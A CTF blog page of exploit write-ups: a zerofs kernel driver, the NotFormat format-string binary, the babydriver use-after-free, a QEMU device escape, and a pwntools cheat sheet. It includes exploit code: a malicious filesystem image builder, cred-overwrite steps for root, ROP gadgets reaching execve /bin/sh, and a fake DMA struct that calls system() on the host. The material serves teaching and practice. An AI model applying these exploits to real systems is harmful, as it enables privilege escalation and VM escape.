Overview

zerofs.ko is a driver module of a custom filesystem.
The kernel and the module is compiled by randstruct plugin, which I found in the magic string – vermagic=4.13.0 SMP mod_unload modversionsRANDSTRUCT_PLUGIN_3c73df5cc8285309b74c8a4caaf831205da45096402d3b1a80caab1d7fa1b03a`.
run.sh and /init show that the kernel is protected by SMEP, SMAP, KASLR, kptr_restrict and dmesg_restrict.

zerofs.ko

I found the module may be modified from simplefs after the game.
By reversing zerofs.ko, I knew the blocksize is 4096 bits. The first block of the image is the superblock. It consists of magic, block_size, inode_count and free_blocks bitmap.

zerofs_super_block

The second block records all of the inodes in an array. ino is inode number, and dno is the block number of the image.

zerofs_inode

There is a root inode which ino is 1. It indicates the root dictionary. There is a block corresponding to root dictionary to indicates files in the dictionary. It is an array of zerofs_dir_record structure.

zerofs_dir_record

Vulnerabilitie

There isn’t any bound or size check in read and write function.
If the filesize we set in image is bigger than blocksize(0x1000), there will be an out-of-bound read/write when invoking copy_to_user/copy_from_user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 __fastcall zerofs_read(file *filp, char *buf, size_t len, loff_t *ppos)
{
...
if ( copy_to_user(buf, &bh0->b_data[*pos_1], len_1) ) // OOB READ
{
...
}
...
}
ssize_t __fastcall zerofs_write(file *filp, const char *buf, size_t len, loff_t *ppos)
{
...
if ( copy_from_user(&bh0->b_data[*pos], buf, len_1) ) // OOB WRITE
{
...
}
...
}

Constructing Image

To exploit the vulnerabilities, I need to construct an malicious image. Here is the script. I put a file named 666 with size of 0xffffffffffffffff.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
block0 = p64(0x4F52455A) + p64(4096) + p64(3) + p64(0xffffffff ^ 0x7)
block0 = block0.ljust(0x1000, '\x00')
block1 = ''
inode1 = p64(1) + p64(2) + p64(0x4000) + p64(0x1)
inode2 = p64(2) + p64(3) + p64(0x8000) + p64(0xffffffffffffffff)
block1 += inode1 + inode2
block1 = block1.ljust(0x1000, '\x00')
block2 = ''
block2 += '666'.ljust(256, '\x00')
block2 += p64(2)
block2 = block2.ljust(0x1000, '\x00')
img = block0 + block1 + block2 + '\x30' * 0x1000 * 1
with open('fs/tmp/zerofs.img', 'wb') as f:
f.write(img)

Exploit

After mounting the image, I could trigger out-of-bound read by read the file 666.
I tried to find CRED struct in leaked memory. Fortunately, I found some by searching the uid. It took me some time to locate CRED struct because of the radomization of structures.

I still didn’t know which CRED is valid and which process the CRED belongs to although I could find some CRED structures. The exploit is not stable, so I run the exploit serval times. After leaking the memory, the exploit will check if it gets root privilege in a loop. If so, it invokes system("sha256sum /root/flag");.

The last step is to write the CRED. I invoked llseek to set offset to the CRED, and invoked write to modify the CRED, setting uid to 0.

Here is the expliot

get_flag

Comment and share

题目中上,但各种乱象毁了这个比赛。

NotFormat

概览

程序是静态链接的,利用缓解机制只启用了NX,程序只是一个简单的读取输入并返回。

1
2
3
4
5
6
$ checksec NotFormat
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
1
2
3
4
$ ./NotFormat
Have fun!
test
test

漏洞

程序main函数很短,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void main()
{
double v8; // [email protected]
double v9; // [email protected]
char buf[264]; // [rsp+0h] [rbp-110h]@1
__int64 v11; // [rsp+108h] [rbp-8h]@1
v11 = *MK_FP(__FS__, 40LL);
setvbuf((int *)off_6CB740, 0LL, 2, 0LL);
puts("Have fun!");
read_line(buf);
printf(buf, 0LL);
exit(0LL);
}

存在一个很明显的格式化字符串漏洞。

利用

因为格式化字符串使用之后立即就调用exit退出了,所以目标是直接通过一次printf劫持控制流。

控制RIP

我用到的是修改FILE *stdout结构的vtable到我们构造的位置。由于没有开启PIE,所以这些内容的位置都可以确定。

栈迁移

当控制RIP之后,程序的栈的位置与我们输入内容的位置差距很大,但是正好找到这个gadget可以迁移到我们输入的buffer。

1
0x43f17d : ret 0x6b8

ret之后正好会跳到0x0457fc1位置,实现栈迁移。

1
0x457fc1 : add rsp, 0x2120 ; mov eax, r12d ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; re

之后可以再次调用read,并再次迁移到一个大buffer。最后调用execve("/bin/sh", 0, 0)

uctf2017_notformat.py

babydriver

概览

这是一个简单的驱动题,只开启了SMEP(貌似也用不到……)。

提供了/dev/babydriver设备:

  • read/write操作可以将buf从babydev_struct.device_buf读取或写入,长度限制为babydev_struct.device_buf_len
  • ioctl的cmd为0x10001时可以对babydev_struct.device_buf重新分配。
  • close时会将babydev_struct.device_buf释放。

漏洞

一个最明显的漏洞是babydev_struct是一个全局变量,所有的文件描述符都共享一个babydev_struct,当一个文件描述符被调用close时,babydev_struct.device_buf会被释放。当其他未关闭的文件描述符调用时,会触发UAF,可以对一段内核空间进行读写。

利用

当device_buf被释放掉后,这个指针成为悬空指针,扔可以进行读写,这时候希望可以有一个结构被申请然后占到原来的这个位置。最直观的想法就是如果能有cred结构直接占上来,然后就可以对cred内容修改,达到获取root权限的目的。

cred结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

它的大小是0xa8。于是利用的步骤如下:

  1. open两个fd,fd1及fd2。通过ioctl设置device_buf为0xa8大小。
  2. close(fd1),device_buf指针被释放。
  3. 现在可以通过fd2继续操作device_buf指向的内容。
  4. 通过fork一堆进程试图在申请cred结构的时候占到device_buf指向的位置。
  5. 修改占上的cred,获取root。

做的时候粗暴地试试结果发现就可以占上了……然后粗暴的把ctf用户的所有的id为0x3e8的都改成了0。

uctf2017_babydriver.py

P.S. 出题时希望可以把网卡驱动带进去,不然传程序进去也挺麻烦……

Comment and share

It’s a great challenge to get familiar with QEMU escape. We are going to exploit QEMU via a custom vulnerable device.

You should read VM escape - QEMU Case Study before reading this writeup.

Challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
challenge
├── dependency
│   ├── libnettle.so.6.2
│   └── usr
│   └── local
│   └── share
│   └── qemu
│   ├── bios-256k.bin
│   ├── efi-e1000.rom
│   ├── kvmvapic.bin
│   ├── linuxboot_dma.bin
│   └── vgabios-stdvga.bin
├── launch.sh
├── qemu-system-x86_64
├── rootfs.cpio
└── vmlinuz-4.8.0-52-generic

There is a qemu-system-x86_64 binary with a launch script, a linux kernel, a initramfs and some dependencies.

We can get an interactive shell by executing launch.sh.

1
2
3
4
5
6
7
8
9
10
11
__ __ _____________ __ __ ___ ____
/ //_// ____/ ____/ | / / / / / | / __ )
/ ,< / __/ / __/ / |/ / / / / /| | / __ |
/ /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/
Welcome to Tencent Keenlab
Tencent login: root
# uname -r
4.8.0-52-generic
#

The custom vulnerable device

luanch.sh shows there are two custom device named vdd.

1
2
$ ./qemu-system-x86_64 -device help 2>&1 | grep VDD
name "VDD", bus PCI, desc "KeenLab virtualized Devices For Testing D"

we can use some commands to find these devices and their io port/memroy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:05.0 Class 00ff: 1234:2333
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2333
# cat /proc/iomem
...
fe900000-fe9fffff : 0000:00:04.0
fea00000-feafffff : 0000:00:05.0
...
# cat /proc/ioports
...
c000-c0ff : 0000:00:04.0
c100-c1ff : 0000:00:05.0
...

OOBW

In vdd_mmio_write, there is a out-of-bound write vulnerability which copys QEMU heap memory to guset physical memory when we set dma_len larger than sizeof(dam_buf).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall vdd_mmio_write(TencentPCIState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int64_t v4; // [email protected]
if ( opaque->dma_state )
{
...
else
{
switch ( addr )
{
...
case 32uLL:
((void (__fastcall *)(char *, dma_addr_t, _QWORD))opaque->dma_state->phys_mem_write)(
opaque->dma_buf,
opaque->dma_state->dst,
opaque->dma_len); // OOB write
break;
...
}
}
}
}

UAF

Also in vdd_mmio_write, if addr == 128 and opaque->sr[129] & 1 != 0, we can set a timer which will execute vdd_dma_timer after opaque->expire_time ns.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __fastcall vdd_mmio_write(TencentPCIState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int64_t v4; // [email protected]
if ( opaque->dma_state )
{
...
else if ( addr > 0x24 )
{
if ( addr == 128 )
{
if ( opaque->sr[129] & 1 )
{
v4 = qemu_clock_get_ns(0);
timer_mod(&opaque->dma_timer, v4 + opaque->expire_time);
}
}
...
}
}

In vdd_dma_timer, it invokes opaque->dma_state->phys_mem_read/write.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall vdd_dma_timer(TencentPCIState *opaque)
{
if ( opaque->dma_state->cmd )
((void (__fastcall *)(char *, dma_addr_t, _QWORD))opaque->dma_state->phys_mem_read)(
opaque->dma_buf,
opaque->dma_state->dst,
opaque->dma_len & 0x2FF);
else
((void (__fastcall *)(char *, dma_addr_t, _QWORD))opaque->dma_state->phys_mem_write)(
opaque->dma_buf,
opaque->dma_state->dst,
opaque->dma_len & 0x2FF);
if ( opaque->dma_state->cmd == 1 )
vdd_raise_irq(opaque, 0x100u);
}

If pci_vdd_uninit is invoked before vdd_dma_timer, the dma_state will be used after free.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall pci_vdd_uninit(TencentPCIState *opaque)
{
__int64 v1; // [email protected]
__int64 v2; // [rsp+28h] [rbp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
memset(opaque->sr, 0, 0x100uLL);
if ( opaque->dma_state )
{
memset(opaque->dma_state, 0, 0x330uLL);
g_free((rcu_head *)opaque->dma_state);
}
if ( opaque->buf )
g_free((rcu_head *)opaque->buf);
v1 = *MK_FP(__FS__, 40LL) ^ v2;
}

Exploitation

The exploitation is divided into two steps:

  1. leak QEMU program address.
  2. hijack control flow

Leak QEMU program address

First, we allocate a buffer and get it’s physical address. Then we set dma_state->dst to our buffer and set dma_len larger than sizeof(dma_buf). Finally, we trigger phys_mem_write by writel(0, piomem + 32). By searching the output, we can find libc addresses and program addresses then calculate the base address of program/libc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void phys_mem_write(unsigned int dst, unsigned int len)
{
set_dmastate_dst(dst);
set_dmalen(len);
writel(0, piomem + 32);
}
void mem_leak(void)
{
pbuf = (unsigned long)kmalloc(0x10000, GFP_KERNEL);
memset(pbuf, 0, 0x10000);
phys_mem_write(virt_to_phys(pbuf), 0x1000);
// xxd(pbuf, 0x1000);
libc_base = search_libc_addr(pbuf, 0x1000);
printk("libc base:0x%lx\n", libc_base);
prog_base = search_prog_addr(pbuf, 0x1000);
printk("program base:0x%lx\n", prog_base);
system_addr = prog_base + SYSTEM_OFFSET;
printk("system addr:0x%lx\n", system_addr);
}

Control RIP

There are three steps to exploit the use-after-free vulnerability:

  1. set a timer
  2. trigger pci_vdd_uninit
  3. reallocte and rewrite dma_state

The following command can trigger pci_vdd_uninit

1
echo 0 > /sys/bus/pci/slots/4/power

When vdd_dma_timer runs, we can control rip.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall vdd_dma_timer(TencentPCIState *opaque)
{
if ( opaque->dma_state->cmd )
((void (__fastcall *)(char *, dma_addr_t, _QWORD))opaque->dma_state->phys_mem_read)(
opaque->dma_buf,
opaque->dma_state->dst,
opaque->dma_len & 0x2FF);
else
((void (__fastcall *)(char *, dma_addr_t, _QWORD))opaque->dma_state->phys_mem_write)(
opaque->dma_buf,
opaque->dma_state->dst,
opaque->dma_len & 0x2FF);
if ( opaque->dma_state->cmd == 1 )
vdd_raise_irq(opaque, 0x100u);
}

Becasue the QEMU is launched with --nographic -append 'console=ttyS0', so we can simply invoke system(cmd) to run a command in host machine and the output will show in console.

To invoke system(cmd), We need to:

  1. set opaque->dma_state->phys_mem_read to system
  2. set opaque->dma_buf to cmd
  3. make sure opaque->dma_state->cmd != 0.

In vdd_linear_write, when addr == 0, a buffer will be allocated with size of opaque->dma_len. And the data in opaque->dma_state->src with length of opaque->dma_len will be copied to opaque->buf, then copied to opaque->dma_state->dst

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall vdd_linear_write(TencentPCIState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
if ( opaque->dma_state && addr <= 13 )
{
switch ( (_DWORD)((char *)off_6EF324 + off_6EF324[addr]) )
{
case 0:
if ( opaque->buf )
g_free((rcu_head *)opaque->buf);
opaque->buf = (uint8_t *)g_malloc0(opaque->dma_len);
vdd_dma_read(opaque->buf, opaque->dma_state->src, opaque->dma_len);
vdd_dma_write(opaque->buf, opaque->dma_state->dst, opaque->dma_len);
break;
...
}
}
}
1
2
3
4
5
6
7
8
9
10
11
void put_fake_dma(void)
{
struct dma fakedma;
fakedma.cmd = 2;
fakedma.phys_mem_read = system_addr;
memcpy(pbuf, (void *)&fakedma, sizeof(fakedma));
set_dmalen(0x330);
set_dmastate_src(virt_to_phys(pbuf));
set_dmastate_dst(virt_to_phys(pbuf));
outb(0, VDB_PORT + 0);
}

Exploit script

Thanks for Atum’s help.

Comment and share

pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

Context

Setting the Target Architecture and OS:

1
context(arch='arm', os='linux', endian='big', log_level='debug')

Log

It’s similar to logging.Logger.

1
2
>>> log.info('Hello, world!')
[*] Hello, world!

Making connections

New a tube

Create a tube instance from a local program or a remote conncetion.

1
2
conn = process('./pwn')
conn = remote('ftp.debian.org',21)

Comunication

Send and recv

There are many functions to send or recv data via tube.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
recv(numb = 4096, timeout = default)
recvuntil(delims, drop=False, timeout = default)
recvn(numb, timeout = default)
recvlines(numlines, keepends = False, timeout = default)
recvline(keepends = True, timeout = default)
recvregex(regex, exact = False, timeout = default)
recvrepeat(timeout = default) # Receives data until a timeout or EOF is reached.
recvall(self, timeout=Timeout.forever) # Receives data until EOF is reached.
...
send(data)
sendline(line)
...
interactive()

Listen

1
2
3
l = listen(port=2333, bindaddr = "0.0.0.0")
c = l.wait_for_connection()
c.recv()

ELF Manipulation

Stop hard-coding things! Look them up at runtime with pwnlib.elf.

1
2
3
4
5
6
7
8
9
10
11
12
>>> e = ELF('/bin/cat')
>>> print hex(e.address)
0x400000
>>> print hex(e.symbols['write'])
0x401680
>>> print hex(e.got['write'])
0x60b070
>>> print hex(e.plt['write'])
0x401680
>>> e.address = 0x0
>>> print hex(e.symbols['write'])
0x1680

You can even patch and save the files.

1
2
3
4
5
6
>>> e = ELF('/bin/cat')
>>> e.read(e.address+1, 3)
'ELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(file('/tmp/quiet-cat','rb').read(1))

Debug with gdb

pwnlib.gdb.attach() starts GDB in a new terminal and attach to target.

Target can be a process, (addr, port), or ssh channel.

1
2
3
4
5
6
7
8
p = process('./helloworld')
gdb.attach(p, execute="b *0x4000000") # execute:GDB script to run after attaching.
gdb.attach(('127.0.0.1', 8765)) # attach to remote gdb server
s = ssh(host='rpi', user='pi')
conn = s.process('/tmp/helloworld')
gdb.attach(conn) # start gdb on remote server via ssh

If you want to start GDB in a split window in tmux:

1
2
context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['tmux', 'splitw', '-v']

Fmtstr

pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits

Parameters:

  • offset (int) – the first formatter’s offset you control
  • writes (dict) – dict with addr, value {addr: value, addr2: value2}
  • numbwritten (int) – number of byte already written by the printf function
  • write_size (str) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)

DynELF

pwnlib.dynelf — Resolving remote functions using leaks

Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

This is an example in the document:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Assume a process or remote connection
p = process('./pwnme')
# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
data = p.read(address, 4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef
# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system

Utility

Generation of unique sequences

pwnlib.util.cyclic.cyclic(length = None, alphabet = string.ascii_lowercase, n = 4)

pwnlib.util.cyclic.cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None)

1
2
3
4
5
6
>>> cyclic(20)
'aaaabaaacaaadaaaeaaa'
>>> cyclic(alphabet = "ABC", n = 3)
'AAABAACABBABCACBACCBBBCBCCC'
>>> cyclic_find(cyclic(alphabet = "ABC", n = 3)[3:6], alphabet = "ABC", n = 3)
3

Assembly and Disassembly

1
2
3
4
5
6
7
>>> asm('mov eax, 0').encode('hex')
'b800000000'
>>> print disasm('6a0258cd80ebf9'.decode('hex'))
0: 6a 02 push 0x2
2: 58 pop eax
3: cd 80 int 0x80
5: eb f9 jmp 0x0

Packing Integers

p8(), p16(), p32(), p64(), u8(), u16(), u32(), u64()

1
2
3
4
5
6
>>> import struct
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
True
>>> leet = '37130000'.decode('hex')
>>> u32('abcd') == struct.unpack('I', 'abcd')[0]
True

pwnlib.util.packing.pack/unpack(number, word_size = None, endianness = None, sign = None, **kwargs)

Comment and share

  • page 1 of 1
Author's picture

Eadom

NO PWN NO FUN


Student


Beijing